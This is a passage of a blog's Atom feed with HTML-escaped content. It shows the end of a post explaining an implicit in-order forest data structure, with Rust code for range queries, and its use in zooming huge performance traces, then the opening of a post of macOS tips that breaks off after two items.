          &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;combine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prev_higher_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prev_higher_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev_higher_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// Push new aggregation node going back one level further than we aggregated&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;levels_to_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The range query is more straightforward in that it’s just starting on the left of the range and then skipping forward using the longest-reaching aggregation node it can without overshooting. I’ll let the code (and the example at the top of the diagram) speak for itself:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Range&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;left_child_at&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// every even power of two block at each level is on the left&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// lvl 0 skips self and agg node next to it, steps up by powers of 2&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;agg_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// lvl 0 is us+0, lvl 1 is us+1, steps by power of 2&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// translate underlying to interior indices&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;assert!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;&quot;range {:?} not inside 0..{}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.end&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Skip via the highest level where we&apos;re on the left and it isn&apos;t too far&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;up_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;left_child_at&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;up_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;up_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.end&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;up_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;up_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;combine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;agg_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ri&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;skip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;combined&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;a href=&quot;https://github.com/havelessbemore/dastal/blob/main/src/segmentTree/inOrderSegmentTree.ts&quot;&gt;Michael Rojas wrote a Typescript implementation&lt;/a&gt; that includes more operations (like in-place update), as well as more bit tricks for improved efficiency. I &lt;a href=&quot;https://github.com/trishume/gigatrace/commit/dfde0d7244f356bdc9aeefb387d904dd8b09d94a&quot;&gt;updated the range query in my repo&lt;/a&gt; based on his work.&lt;/p&gt;

&lt;h2 id=&quot;whats-good-about-this-layout&quot;&gt;What’s good about this layout&lt;/h2&gt;

&lt;p&gt;The closest alternative to this layout is the breadth-first layout described everywhere else online, where you put the root node first, then all the nodes of the next level, and so on until at the end you have all the leaf nodes, with some spots at the end unfilled because you need to round the tree size up to the next power of two. Both of these layouts have nice mathematical relations that enable traversing the tree and mapping between leaf node indices and an array storing the data you’re indexing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;a href=&quot;https://www.reddit.com/r/programming/comments/mf250s/implicit_inorder_forests_zooming_a_billion_trace/gsl30cz/&quot;&gt;nightcracker on Reddit&lt;/a&gt; points out that it’s possible to formulate implicit &lt;a href=&quot;https://cp-algorithms.com/data_structures/fenwick.html&quot;&gt;Fenwick trees&lt;/a&gt; for arbitrary range queries with efficient append and a &lt;a href=&quot;https://www.reddit.com/r/programming/comments/mf250s/implicit_inorder_forests_zooming_a_billion_trace/gsl7ynn/&quot;&gt;terse implementation&lt;/a&gt;. It looks like they have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3N&lt;/code&gt; size overhead instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2N&lt;/code&gt;, and I haven’t investigated enough to speak to other cache or efficiency properties.&lt;/p&gt;

&lt;h3 id=&quot;avoiding-the-memory-and-tail-latency-of-amortized-resizing&quot;&gt;Avoiding the memory and tail latency of amortized resizing&lt;/h3&gt;

&lt;p&gt;The main reason I ended up looking for an alternative to the breadth-first layout is that breadth-first append is annoying to implement. Because it’s a single incomplete tree rather than a forest of complete trees, whenever the size crosses a power of two you need to rearrange everything into a bigger tree structure with one more level. Not only do you need to write code to implement this case but the newly re-allocated tree has a 4x memory overhead over the space required for just the leaf nodes: 2x for being half empty and 2x for the usual cumulative count of all the aggregation nodes. Then if you don’t implement a fancy in-place re-organize, memory peaks at 6x since you need to have both the old and new tree around while you move things. Even if your amortized append cost is still O(1), the tail latency is terrible.&lt;/p&gt;

&lt;p&gt;But wait, in my implementation of the in-order layout I use Rust’s growable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vec&lt;/code&gt;, and doesn’t that have the same 2x amortized resizing space waste and tail latency issues behind the scenes? Yes, kind of: In the basic case all I’m saving is implementation complexity, but there’s a way to improve the implementation to avoid this. Because 64 bit computers have address spaces way bigger than their physical memories, it’s possible to &lt;a href=&quot;https://www.gamasutra.com/blogs/NiklasGray/20171107/309071/Virtual_Memory_Tricks.php&quot;&gt;reserve an enormous address range for an array&lt;/a&gt; and then only allocate real pages at the end (which take up physical memory) as the array is filled. This avoids any slow resizing case and makes space waste only a small constant. If you want this to work on Windows, it requires a special implementation, but on Linux and macOS all you need to do is construct your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vec&lt;/code&gt; by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vec::with_capacity&lt;/code&gt; with a huge size that’s more than you’ll need and smaller than physical memory, and &lt;a href=&quot;https://engineering.pivotal.io/post/virtual_memory_settings_in_linux_-_the_problem_with_overcommit/&quot;&gt;VM overcommit&lt;/a&gt; will promise you the full address range and only use more physical memory as you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; to the vector. I was thinking about how this data structure could be used for indexing enormous traces by using most of the memory on a machine, so the fact that this technique allows making the most of memory without much implementation effort was a big win.&lt;/p&gt;

&lt;p&gt;You can apply the same technique for some savings on the breadth-first order, but because the aggregation nodes for the unusued space are not all at the end of the array you’d need to support missing pages in the middle of your array. You’d also still need to implement an in-place tree reorganize, so it would be much more complicated and you still wouldn’t get the tail latency benefits.&lt;/p&gt;

&lt;h3 id=&quot;better-cache-coherency&quot;&gt;Better cache coherency&lt;/h3&gt;

&lt;p&gt;The depth-first layout has a nice property that near the leaves, entire subtrees are grouped together in memory, meaning subtrees may all be in the same cache line or page. This is especially nice given that range queries can traverse the tree from the bottom up and then down, avoiding touching unnecessary higher levels that are further away. In contrast for a tree in breadth-first order, the next level up will be in a separate range of memory from its leaves. On a huge tree where each parent node may end up on a separate page this may cause lots of &lt;a href=&quot;https://stackoverflow.com/questions/37825859/cache-miss-a-tlb-miss-and-page-fault&quot;&gt;TLB misses&lt;/a&gt;. This might’ve been bad for a case like my trace visualization, which requires thousands of queries per second on relatively small ranges in a huge structure.&lt;/p&gt;

&lt;p&gt;The cache efficiency is likely still not as good as a B-tree or Van-Emde-Boas (VEB) layout, but those are much more complicated to implement. For VEB layouts, I could find &lt;a href=&quot;https://www.cs.au.dk/~gerth/papers/soda02.pdf&quot;&gt;research&lt;/a&gt; &lt;a href=&quot;https://www2.hawaii.edu/~nodari/pubs/18-ipdps.pdf&quot;&gt;papers&lt;/a&gt; &lt;a href=&quot;https://www2.hawaii.edu/~nodari/pubs/18-ipdps.pdf&quot;&gt;and benchmarks&lt;/a&gt; that describe the mathematical structure of the layout, but not how to efficiently implement operations like append. The usual breadth first order is also better at keeping all the higher levels of the tree together, so might perform better for repeated traversals from the root, I’m not sure.&lt;/p&gt;

&lt;h3 id=&quot;simpler-and-more-memory-efficient-than-non-implicit-structures&quot;&gt;Simpler and more memory-efficient than non-implicit structures&lt;/h3&gt;

&lt;p&gt;I’ve mainly compared against breadth-first implicit binary trees because they’re the closest competitor, but I started out looking at other structures. I knew about the general idea of &lt;a href=&quot;https://cp-algorithms.com/data_structures/segment_tree.html&quot;&gt;segment trees&lt;/a&gt; and they’re often implemented as standard non-implicit tree structures. I first embarked on writing a &lt;a href=&quot;https://en.wikipedia.org/wiki/B-tree&quot;&gt;B-tree&lt;/a&gt; structure but got frustrated with how much code it was taking and the different cases where non-leaf nodes contained pointers but leaves didn’t. I thought a lot about other data structures like skip lists and various &lt;a href=&quot;http://ticki.github.io/blog/skip-lists-done-right/&quot;&gt;optimizations of them&lt;/a&gt; but they were still too complex. The non-implicit data structures also tended to introduce a lot of memory overhead via their node pointers.&lt;/p&gt;

&lt;h3 id=&quot;other-nice-properties&quot;&gt;Other nice properties&lt;/h3&gt;

&lt;p&gt;In addition to appending, it’s possible to do some other operations like updating the values of nodes in place (&lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/text/SpannableStringBuilder.java#1658&quot;&gt;Raph’s SpannableStringBuilder&lt;/a&gt; does this). If you’re building an entire tree at once instead of incrementally appending it’s possible to parallelize the construction of the index by divvying up subtrees among threads. I figured out but never used the fact that if you want to search a forest from the top down then checking the largest/first tree and working down has binary-search-like efficiency properties since the power-of-two structure means all the further trees together can be at most half the remaining items. Within each tree, my colleage Stephen pointed out that if you want to traverse the tree down to an index, then iterating the bits of the index in reverse tells you the direction to recurse at each level.&lt;/p&gt;

&lt;h2 id=&quot;backstory-rendering-huge-traces&quot;&gt;Backstory: Rendering huge traces&lt;/h2&gt;

&lt;p&gt;So how did I end up investigating this and what’s the connection to trace viewers? I was trying out &lt;a href=&quot;https://github.com/wolfpld/tracy&quot;&gt;Tracy&lt;/a&gt;, a system for doing performance optimization by capturing tracing events from instrumentation in your code and displaying it on a slick timeline UI, and I noticed that when I zoomed out enough all the detail was replaced with a squiggle that signified “some events here”. I’d used &lt;a href=&quot;https://perfetto.dev/&quot;&gt;Perfetto&lt;/a&gt; and &lt;a href=&quot;https://chromium.googlesource.com/external/github.com/catapult-project/catapult/+/refs/heads/master/tracing/README.md&quot;&gt;Catapult&lt;/a&gt; (other trace viewers, both by Google) before and they continued to show the texture of my trace events when zoomed out, but became very slow on large traces. I’ve never used &lt;a href=&quot;http://www.radgametools.com/telemetry.htm&quot;&gt;RAD Telemetry&lt;/a&gt; but it &lt;a href=&quot;https://www.youtube.com/watch?v=LuvNPEjIpME&quot;&gt;looks like it’s somewhere in between&lt;/a&gt;, where unlike Tracy it still shows the number of levels but loses all other information when zoomed out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/pervognsen/status/1376202258262585352?s=20&quot;&gt;Per Vognesen on Twitter&lt;/a&gt; says Telemetry does have a range aggregation data structure, which I’m guessing they use for aggregating time summary information panels (since their zoomed out rendering looks different than Perfetto). He links &lt;a href=&quot;https://news.ycombinator.com/item?id=26487515&quot;&gt;an interesting HN comment of his&lt;/a&gt; discussing a design using a hierarchy of B+ trees.&lt;/p&gt;

&lt;p&gt;I checked &lt;a href=&quot;https://github.com/google/perfetto/blob/024ea24c78533030a3faec9a5583af3175f07712/ui/src/tracks/chrome_slices/controller.ts#L64&quot;&gt;Perfetto’s source code&lt;/a&gt; and found that it was quantizing the trace into small time slices and displaying color of the longest trace span under each time slice at each level. Combined with Perfetto’s approach of coloring trace spans based on a hash of the label, I thought this was a good way to give an overview of a zoomed out trace. It tended to show what the dominant event was at each level, how deep the nesting was at different points, and clicking showed what that specific event color was.&lt;/p&gt;

&lt;p&gt;The problem is that Perfetto’s implementation used a slow linear scan and so when zoomed out on a large trace was very slow, and they relied on asynchrony to keep the UI responsive while the next zoom level was being computed. Since the “longest span in a time slice” corresponded to a range aggregation of “maximum duration” I thought it should be possible to use a tree structure to accelerate this and find the longest span under every pixel for every track of a large trace at 60fps, since that would only be on the order of 10k &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(log N)&lt;/code&gt; queries per frame, and it could be parallelized across tracks.&lt;/p&gt;

&lt;p&gt;I then embarked on my journey figuring out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IForestIndex&lt;/code&gt; data structure, and afterwards I used it to put together a simple &lt;a href=&quot;https://github.com/trishume/gigatrace&quot;&gt;proof-of-concept skeleton of a trace viewer&lt;/a&gt;
that can smoothly zoom a trace of 1 billion randomly generated events. It’s not pretty since the randomly generated data has no structure, the colors are bad, it doesn’t render any span labels, and I don’t step backwards to render spans that start before the viewport starts, but it works:&lt;/p&gt;

&lt;video controls=&quot;&quot; width=&quot;660&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/assets/postassets/iforestindex/gigatrace.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos.
&lt;/video&gt;

&lt;p&gt;I don’t actually plan on implementing my own full trace viewer, it’s a big task. I just wanted to have fun figuring out how to achieve the kind of trace zooming I wanted, and figure out a cool data structure in the process, since I suspected it was possible but didn’t know of anyone who’d done it. Given that I’m one of three people I know who’ve had to figure out this data structure themselves, hopefully this post will help any future people who want a data structure for this kind of problem.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Hard to discover tips and apps for making macOS pleasant</title>
   <link href="https://thume.ca/2020/09/04/macos-tips/"/>
   <updated>2020-09-04T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/09/04/macos-tips</id>
   <content type="html">
&lt;p&gt;Inspired by a few different conversations with friends who’ve switched to macOS where I give them a whole bunch of tips and recommendations I’ve learned about over many years which are super important to how I use my computer, but often quite hard to find out about, I decided to write them all down:&lt;/p&gt;

&lt;h2 id=&quot;hidden-macos-tips&quot;&gt;Hidden macOS tips&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Dragging a file or folder onto a file open dialog selects it in the dialog. Similarly dragging onto a “Choose file” button.&lt;/li&gt;
  &lt;li&gt;Dragging onto a terminal window pastes the full path of that file/folder&lt;/li&gt;
